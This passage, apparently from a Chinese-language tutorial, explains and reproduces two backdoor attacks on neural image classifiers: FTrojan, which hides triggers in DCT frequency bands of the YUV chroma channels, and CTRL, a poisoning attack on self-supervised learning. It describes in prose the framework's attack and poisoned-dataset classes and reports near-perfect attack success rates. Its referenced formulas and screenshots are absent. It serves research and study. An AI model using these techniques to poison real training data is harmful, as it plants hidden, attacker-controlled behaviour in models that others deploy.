返回训练过程中的各种指标:平均损失、混合准确率、干净样本准确率、背门攻击成功率、背门样本恢复准确率、交叉样本准确率。
功能: 执行模型评估,计算不同数据集(干净数据集、背门数据集、交叉数据集等)的损失和准确率。
-
清洁测试数据集评估:
-
使用 given_dataloader_test 函数评估干净测试数据集,获取损失和准确率。
-
背门数据集评估:
-
使用 given_dataloader_test 函数评估背门测试数据集,获取损失和准确率。
-
背门样本恢复(RA)数据集评估:
-
对背门样本恢复数据集进行转换和评估,获取损失和准确率。
-
交叉数据集评估:
-
使用 given_dataloader_test 函数评估交叉测试数据集,获取损失和准确率。
-
返回:
-
返回不同数据集的损失和准确率:干净测试集损失和准确率、背门测试集损失和准确率、交叉测试集损失和准确率、恢复测试集损失和准确率。
这些函数一起构成了一个完整的训练和评估流程,涵盖了数据处理、模型训练、指标计算和评估等多个方面。
开始进行后门注入
攻击配置如下所示
训练期间的部分截图如下
也可以查看acc的变化情况
可以看到主要关注的指标都在稳步上升
以35epoch为例,此时的后门攻击成功率达到了0.98,而深度学习模型执行正常任务的准确率达到了0.91
FTrojan 理论FTrojan攻击的核心思想是在频率域中注入触发器。这种方法利用了两个关键直觉:
-
在频率域中的小扰动对应于整个图像中分散的小像素级扰动,这使得图像在视觉上与原始图像难以区分。
-
卷积神经网络(CNN)能够学习并记住频率域中的特征,即使输入的是空间域像素。
FTrojan攻击包括以下步骤:
-
将图像从RGB色彩空间转换到YUV色彩空间,因为人的视觉系统对YUV中的UV(色度)分量不那么敏感。
-
对图像的UV分量进行离散余弦变换(DCT),将其从空间域转换到频率域。
-
在频率域中生成触发器,选择固定大小的频率带作为触发器。
-
应用逆DCT将图像从频率域转换回空间域。
-
最后,将图像从YUV色彩空间转换回RGB色彩空间。
我们来分析关键细节
FTrojan攻击方法的核心在于利用频率域的特性来注入难以被检测到的后门触发器。
-
颜色空间转换(RGB到YUV):
-
使用线性变换将RGB图像转换为YUV空间。YUV空间将颜色图像分解为亮度(Y)和色度(U, V)分量。人的视觉系统对色度分量的变化不如亮度分量敏感,因此在色度分量中注入触发器对视觉的影响较小。
-
离散余弦变换(DCT):
DCT公式如下:
其中,(X(u, v))是DCT系数,(x(x, y))是图像在空间域的像素值,(M)和(N)是图像的宽度和高度,(u)和(v)是频率索引。
-
对YUV空间中的U和V分量应用DCT,将图像从空间域转换到频率域。DCT将图像表示为不同频率的余弦函数的集合,能量集中在低频部分,高频部分则包含图像的边缘和细节信息。
-
触发器生成:
-
触发器频率:选择中频和高频带的组合,以平衡人类视觉感知的敏感性和触发器的鲁棒性。
-
触发器幅度:选择适中的幅度以确保触发器对CNN是可学习的,同时对人类视觉系统是不可见的。
-
在频率域中选择特定的频率带作为触发器。触发器的频率和幅度是两个关键参数:
-
逆离散余弦变换(Inverse DCT):
逆DCT公式如下:
-
使用逆DCT将修改后的频率域图像转换回空间域,得到注入了后门触发器的图像。
-
颜色空间转换(YUV回到RGB):
-
最后,将修改后的YUV图像转换回RGB空间,因为大多数CNN模型是在RGB空间上训练的。
完整的攻击流程如下图所示
下图是本方法生成的中毒样本与触发器,可以看到是具有一定隐蔽性的
下图是通过 FTrojan 攻击来得到的中毒图像。混频将触发器混合在中频和高频成分中。我们可以观察到,当触发器存在于具有适中幅度的高频和中频成分中时,中毒图像在视觉上很难被检测到。
复现攻击类
这段代码定义了一个 Ftrojann 类,继承自 BadNet。下面是代码的功能解释:
-
set_bd_args 方法:
-
--channel_list:接收一个整数列表,代表频道列表。
-
--magnitude:接收一个浮点数,表示强度。
-
--YUV:接收一个布尔值,表示是否使用 YUV 格式。
-
--window_size:接收一个整数,表示窗口大小。
-
--pos_list:接收一个整数列表,表示位置列表。
-
--bd_yaml_path:接收一个字符串,指定 YAML 文件的路径,该文件提供附加的默认属性。默认路径是 ./config/attack/ftrojann/default.yaml。
-
这个方法用于设置命令行参数。它接受一个 argparse.ArgumentParser 对象作为输入,并返回一个更新后的 ArgumentParser 对象。
-
add_common_attack_args(parser) 是一个函数调用,可能会向 parser 中添加一些通用的攻击相关参数。
-
添加了多个特定参数:
-
add_bd_yaml_to_args 方法:
-
这个方法用于将 YAML 文件中的默认属性添加到 args 参数中,并进行一些额外的处理。
-
从 args.bd_yaml_path 指定的路径读取 YAML 文件内容,解析为字典 mix_defaults。
-
将 args 对象中非 None 的参数更新到 mix_defaults 中。
-
将 args 对象的 __dict__ 属性(存储了所有参数)更新为合并后的字典。
-
检查 pos_list 的长度是否为偶数,如果不是,抛出 ValueError。
-
将 pos_list 转换为一对一对的元组列表,例如,将 [x1, y1, x2, y2] 转换为 [(x1, y1), (x2, y2)]。
着重查看对于数据集的处理代码
这个类的主要功能是处理带有后门攻击的图像数据集,支持图像和标签的预处理、状态恢复和复制。
这段代码定义了一个名为 prepro_cls_DatasetBD_v2 的 PyTorch 数据集类。这个类扩展了 torch.utils.data.Dataset,用于处理带有后门攻击(backdoor attack)的数据集
-
__init__ 方法:
-
初始化数据集和相关属性。
-
检查 poison_indicator 的长度是否与数据集长度匹配。
-
如果 poison_indicator 中的值大于等于 1,则调用 prepro_backdoor() 方法进行后门数据预处理。
-
设置其他属性,如 getitem_all 和 getitem_all_switch,用于控制数据集的取值方式。
-
full_dataset_without_transform: 原始数据集,没有应用任何变换。
-
poison_indicator: 一个可选的序列,表示哪些图像需要应用后门变换(使用 one-hot 编码)。默认为 None,如果没有提供,则初始化为全零的数组。
-
bd_image_pre_transform: 应用在图像上的后门变换函数。
-
bd_label_pre_transform: 应用在标签上的后门变换函数。
-
save_folder_path: 保存后门图像的文件夹路径。
-
mode: 当前模式,默认为 'attack'。
-
参数:
-
操作:
-
prepro_backdoor 方法:
-
对所有需要后门变换的样本进行处理。
-
遍历数据集的所有索引,如果 poison_indicator 表示该样本需要变换,则应用图像和标签的变换,并调用 set_one_bd_sample() 方法保存变换后的样本。
-
set_one_bd_sample 方法:
-
将图像和标签变换后的样本保存到 bd_data_container 中。
-
确保图像被转换为 PIL 图像格式(如果不是的话)。
-
更新 poison_indicator,标记该样本为后门样本。
-
__len__ 方法:
-
返回数据集中样本的总数。
-
__getitem__ 方法:
-
根据索引获取样本。
-
如果样本是干净的(poison_indicator 为 0),则从原始数据集中获取图像和标签。
-
如果样本是后门的(poison_indicator 为 1),则从 bd_data_container 中获取图像和标签。
-
根据 getitem_all 和 getitem_all_switch 的设置,返回不同格式的数据。
-
subset 方法:
-
根据给定的索引列表更新 original_index_array,从而选择数据集的子集。
-
retrieve_state 方法:
-
返回当前对象的状态,包括 bd_data_container、getitem_all、getitem_all_switch、original_index_array、poison_indicator 和 save_folder_path。
-
copy 方法:
-
创建一个 prepro_cls_DatasetBD_v2 的副本。
-
深度复制当前对象的状态,并设置到新副本中。
-
set_state 方法:
-
根据提供的状态文件恢复对象的状态。
-
包括恢复 bd_data_container 和其他属性。
在我们的实现中得到的部分中毒样本如下所示
注入后门
攻击配置
后门注入期间的部分截图如下所示
以第38个epoch为例,此时的后门攻击成功率达到了接近100%,而正常任务的准确率达到了0.91
CTRL 理论之前我们提到的后门攻击都是通过监督学习的方式实现的,这一节我们来分析自监督学习后门攻击。
自监督学习(SSL)是一种无需标签即可学习复杂数据高质量表示的机器学习范式。SSL在对抗性鲁棒性方面相较于监督学习有优势,但是否对其他类型的攻击(如后门攻击)同样具有鲁棒性尚未明确。
CTRL攻击通过在训练数据中掺入少量(≤1%)的投毒样本,这些样本对数据增强操作具有抗性,使得在推理阶段,任何含有特定触发器的输入都会被错误地分类到攻击者预定的类别。
触发器 ( r ) 是一种在输入数据的频谱空间中的扰动,它对数据增强(如随机裁剪)不敏感。触发器的设计使其在视觉上几乎不可察觉,但在频域中具有特定的模式。
-
假设攻击者可以访问到一小部分目标类别的输入样本集 ( \tilde{D} )。
-
通过在这些样本上添加触发器 ( r ) 来生成投毒数据 ( D^* )。
-
嵌入:将触发器 ( r ) 嵌入到输入 ( x ) 中,形成触发输入 ( x^* = x \oplus r )。这里 ( \oplus ) 表示触发器嵌入操作。
-
激活:在推理时,攻击者可以调整触发器的幅度来激活后门,而不影响模型对清洁数据的分类性能。
SSL中的对比损失函数旨在最小化正样本对(相同输入的不同增强视图)之间的距离,同时最大化负样本对(不同输入)之间的距离。对比损失可以表示为:
其中,( f ) 是编码器,( x_i ) 和 ( x_j ) 是正样本对,( y_{ij} ) 是指示器(如果 ( x_i ) 和 ( x_j ) 是正样本对,则为1,否则为0),( \tau ) 是温度参数。
CTRL攻击利用了SSL的表示不变性属性,即不同增强视图的同一输入应具有相似的表示。数学上,这可以表示为:
这里,( x^* ) 是触发输入,( x^+ ) 是增强后的正样本,( r ) 是触发器,( \alpha ) 是混合权重。
通过调整触发器的幅度,攻击者可以控制攻击的效果。
完整的攻击流程如下图所示
下图演示了触发器的生成流程
复现分析关键代码
ctrl类的stage1_non_training_data_prepare` 方法负责准备背门攻击的数据,包括训练和测试数据集的生成。它先从干净数据中准备基础数据,然后生成背门样本,最后创建背门训练和测试数据集,并将结果保存以备后续使用。这一过程涵盖了从数据预处理到背门攻击数据的生成,并最终包装成适合训练和评估的格式。
这段代码是一个名为 ctrl 的类的定义,它继承自 BadNet 类。主要功能是准备阶段1的数据,包括生成后门攻击数据和测试数据
1. set_bd_args 方法功能: 设置用于背门攻击的命令行参数。
-
bd_yaml_path: 指定 YAML 配置文件的路径。
-
use_dct: 布尔值,指示是否使用 DCT(离散余弦变换)。
-
use_yuv: 布尔值,指示是否使用 YUV(视频色彩空间)。
-
trigger_channels: 触发器的通道。
-
pos_list: 触发器的位置。
功能: 准备数据,包括清洁训练数据、背门训练数据和测试数据。
-
初始化:
-
记录日志并确保 args 存在。
-
从 benign_prepare 方法中获取不同的数据集和转换方法。
-
生成背门数据集:
-
调用 bd_attack_img_trans_generate 和 bd_attack_label_trans_generate 方法生成背门数据集所需的图像和标签转换。
-
使用 generate_poison_index_from_label_transform 方法生成训练数据中的背门样本索引。
-
保存背门样本索引到文件。
-
创建背门训练数据集:
-
使用 prepro_cls_DatasetBD_v2 方法生成背门训练数据集,并应用转换。
-
创建数据集包装器 dataset_wrapper_with_transform。
-
生成背门测试数据集:
-
使用 generate_poison_index_from_label_transform 方法生成测试数据中的背门样本索引。
-
使用 prepro_cls_DatasetBD_v2 方法生成背门测试数据集,并应用转换。
-
使用 subset 方法筛选测试数据集中的背门样本。
-
保存结果:
-
将准备好的数据集保存到 self.stage1_results 中。
执行
攻击配置如下
训练期间部分截图如下
可以看到,CTRL在后门攻击成功率上稍低,比如在第59个epoch时,攻击成功率为0.93,正常任务准确率为0.93。